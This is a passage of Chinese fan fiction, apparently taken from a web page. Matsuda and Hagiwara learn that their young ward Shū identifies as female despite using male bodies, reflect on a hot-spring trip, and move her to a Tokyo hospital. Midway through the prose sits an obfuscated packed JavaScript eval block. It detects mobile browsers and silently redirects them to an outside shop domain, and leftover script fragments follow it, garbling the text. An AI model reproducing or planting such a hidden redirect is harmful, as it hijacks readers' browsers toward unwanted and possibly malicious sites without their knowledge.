走廊里安静了大约五秒钟。
松田阵平站在原地。他的表情没有什么明显的变化,但萩原研二认识他太久了,看得出那双眼睛里的光正在经历一场缓慢的、不可逆的坍塌。
"……你,你刚才说什么?"
赤珠霞看着他的表情,目光里罕见的闪过一丝笑意,但面上依然维持着平淡的姿态。
"我说,以后不要再带她去男温泉了。"
松田阵平的手从裤兜里抽出来,攥成拳头又松开,反复了两次,缓缓举起来捂住了自己的脸。他的肩膀微微绷着,露出来的耳尖以肉眼可见的速度变红了。
萩原研二站在旁边,表情从震惊到回忆再到恍然大悟"等等,所以那天在长野……你们两个一起泡温泉的时候……他用的是二号体……虽然二号体是男性身体……但他,不,是她本人……"
松田阵平放下手,他的脸比平时红了一个色号,带着一种"天要塌了"的僵硬。
"……那她还跟我一起去泡温泉?!"
"她故……她可能认为当时的自己就是男的吧。"
松田阵平的表情更加复杂了,像是有人在用一把钝刀缓慢地切割他的世界观。
赤珠霞继续说"二号体确实是男性,她对用那具身体没有任何不适感。从某种意义上她把自己当成一个可以随意切换壳子的存在。但我观察她自我认知更偏向女性。她一直用男性的六号体你没察觉到什么不对劲,其实是她在刻意维持中立的表象。"
"你还记得吗?"萩原研二语气里带着一种"我想起来了"的恍然"那天晚上我们问她性别的时候,她说'我是沃尔玛购物袋'。我当时还以为她在开玩笑,现在想她可能已经明示过了,只是我们没听懂。"
松田阵平低下头把脸埋进手掌里发出一声闷闷的、像是从喉咙深处挤出来的叹息。
赤珠霞在走廊尽头安静地看着这一幕,嘴角的弧度比刚才明显了一些。她转身往楼梯口走了两步,步伐轻快得不像她平时的风格。
"4号体明天一早送到东京综合医院。建议你们今晚好好休息,明天可能还有更精彩的事情等着你们。"
"你是指什么?"
赤珠霞在楼梯口停下脚步回过头,漆黑的瞳孔在冷白色的灯光下泛着一丝难得的光亮。
“明天晚上你们就知道了。”
那天晚上松田阵平躺在床上,盯着天花板,满脑子都是温泉、水汽、后背、以及那双在他背上摸来摸去的手。
他翻了个身,把被子蒙过头顶。
那时候秀用的是二号体。二号体是男的。二号体长得比他还高看起来完全是个成年男人所以他当时的想法完全没有问题,男人之间一起泡个温泉,搓个背再正常不过了。
但现在他知道了,那具男性身体的壳子里面,住着一个自我认知更偏向女性的意识。
松田阵平在被子里闷了大约五分钟,然后猛地掀开被子坐了起来。他拿起床头柜上的手机,给萩原研二发了一条消息「你睡了吗?」
回复来得很快「没有,在想明天怎么面对她。」
松田阵平盯着那条消息看了两秒打字「她当时让我给她搓背,我说了句‘你倒是会享受’。」
萩原研二回「……然后呢?」
「然后她还给我搓了。」
「……你们还干了什么?」
「她还让我展示了肌肉……」
「你给她展示肌肉了?」
「没。是她自己提出来的,她说‘小阵平你看,我肌肉练得不错吧’。」
萩原研二那边又沉默了,久到松田阵平以为他睡着了,才终于收到一条回复「小阵平,你当时是怎么想的?」
「我当时在想,这小鬼换了个身体还挺得意,虽然看起来还是个弱鸡但确实有轻微锻炼痕迹。」
松田阵平翻了个身,把脸埋进枕头里。
更让他睡不着的是他后来还跟她并排坐在温泉里,肩膀挨着肩膀,水面上浮着一层白色的热气。她亮晶晶地盯着他,然后伸手想摸。他给了她一记爆栗,她整个人沉进水里又扑腾起来一脸控诉说“只是想研究”,他说过她变态……色小鬼……
松田阵平的手机屏幕还亮着,停留在和萩原研二的聊天记录上。最后一条消息是萩原研二发来的「小阵平你该庆幸,我现在不是警察……」
松田阵平盯着那行省略号看了很久,打字「以后该怎么相处就怎么相处。她以前也没把自己当男的,你想想六号体的时候,她什么时候像个男孩了?」
萩原研二看到这条消息的时候,靠在椅背上想了一会儿。确实,秀虽然用的是男性身体,但那孩子从始至终也没表现出什么“男子气概”。喜欢撒娇,爱漂亮,在意自己的头发和穿搭……那些细节哪怕换成二号体也一直都在,只是他们自动用“小孩子”这个标签把它们覆盖了。
现在回过头看,那些行为分明就是一个小姑娘。
萩原研二想了想直接给松田阵平打去了电话“我们是不是太迟钝了?”
松田阵平没有回答,算是默认。
一个他们照顾了好几个月、觉得已经很了解的小孩,其实在性别这件事上他们根本没问过。
或者说,他们默认了。
默认“六号和二号体是男性,所以秀就是男性”。
但秀从来没说过自己是男孩。
松田阵平忽然想起工藤优作的话“你们不需要让他认同你们的逻辑,你们只需要让他知道,不管他认不认同,你们都会在。”
他当时觉得懂了,现在才发现自己根本没懂。
“你觉得她会有多在意这件事?”松田阵平的声音很低,像是问给空气听的。
萩原研二想了想“她其实不太在意别人怎么看她,但她会注意别人是怎么看她的。”
“有区别吗?”
“有。前者是‘你们怎么想关我什么事’,后者是‘你们怎么想决定了我要怎么应对你们’。”
松田阵平沉默了。
“所以她之前不说,可能是因为她不确定我们知道了之后会怎么对她。现在赤珠霞替她说了,她反而不用自己开口了。”
“那我们以后……”松田阵平开口,又停住了。
“该怎么相处就怎么相处,该叫什么叫什么,该护着护着。她是谁、是什么性别这件事不是我们决定,是她自己决定的。”
松田阵平偏过头看了他一眼。
“说得好听,你倒是显得很有经验。”
“我接触过的女性比小阵平多,而且我上过性别平等课,尊重别人的自我认同。”
“少来这套。”
早上等松田阵平收拾好走出房间,萩原研二已经坐在客厅沙发上了。头发还带着刚洗过的潮气,手里捧着一杯茶,面前摆着手机
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17716833|206571||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
屏幕亮着,显示的是长野那家温泉旅馆的预订页面。
松田阵平在他旁边坐下,瞥了一眼那个页面,没有说话。
萩原研二放下手机“我就是想确认一下,那家温泉旅馆的露天风吕,确实是男女分开的对吧?”
“我当时也没想到要问她,因为……”他停了一下,像是在找一个合适的措辞“因为她当时看起来真的很像一个普通的、有点臭屁的年轻男人。”
松田阵平靠在沙发靠背上,双手抱胸“所以呢,你有结论了吗?”
“结论就是……”萩原研二深吸一口气“我们当时没有做错什么,但以后最好还是问清楚再行动。”
松田阵平沉默了两秒“而且她当时笑得那么开心,完全不像是被冒犯到的样子。”
“对啊,”萩原研二接上“赤珠霞说漏了嘴,她就是故意的。”
两个人对视了一眼,同时从对方眼睛里看到了同一种“被一个小鬼耍得团团转但完全拿她没办法”的无奈。
“先去医院吧。”松田阵平站起来,拿起搭在椅背上的外套“等她醒了再说。”
一直到下午秀才终于醒了。
阳光从窗帘的缝隙里漏进来,在他那张小小的脸上投下一道细长的金色光线。他睁开眼睛的时候,左眼还蒙着纱布,右眼慢慢聚焦,盯着天花板看了好几秒,然后偏过头看到坐在床边的两个人,松田阵平靠在椅背上,双手抱胸,头微微偏向一侧,呼吸平稳,像是睡着了。萩原研二倒是清醒的,手里拿着一本翻了一半的书,目光落在她脸上,看到他醒了笑了一下。
“醒了?”
秀眨了眨右眼“……几点了?”
“下午两点多。”
秀坐起来,动作比平时慢一些,低头看了一眼自己右腿的位置,被子下面依然空瘪着。伸手按了按伤口的位置,麻药已经退了,但还在镇痛泵的有效范围内,只有隐隐的钝痛。
“转院呢?”
“车在楼下等着了。”萩原研二把书合上“先转去东京综合医院,晚上再做意识转移。”
秀点了点头,又看了旁边睡着了的松田阵平一眼“他昨晚没睡?”
“没怎么睡早上又去办转院手续,回来才眯了一会儿。”
秀没有说话,只是看着松田阵平那张因为疲惫而显得比平时柔和一些的脸。他的目光在松田阵平脸上停了好一会儿,然后移开了。
“把他叫醒吧,该走了。”
萩原研二伸手推了推松田阵平的肩膀。松田阵平猛地睁开眼睛,目光第一时间落在病床上,看到秀已经坐起来了,眼底的紧绷微微松了一下。
“……醒了?”
“嗯。”
松田阵平站起来,活动了一下僵硬的肩膀和脖子,动作带着一种刚睡醒的迟缓,但在看了一眼秀又看了一眼他的右腿之后,他的动作慢了下来。
他张了张嘴,像是想说什么,又咽了回去。
秀注意到了那个停顿,歪了歪头“小阵平,你昨晚没睡好?”
“……还行。”
松田阵平放下手,目光在他的脸上停了两秒,然后移开了。
“走了,车在楼下。”
转院的过程比预想的顺利。救护车从长野的医院驶出,沿着高速公路开往东京。秀躺在担架上,被固定在车体的支架上,已经打了麻药睡了过去但右手还攥着萩原研二的手指。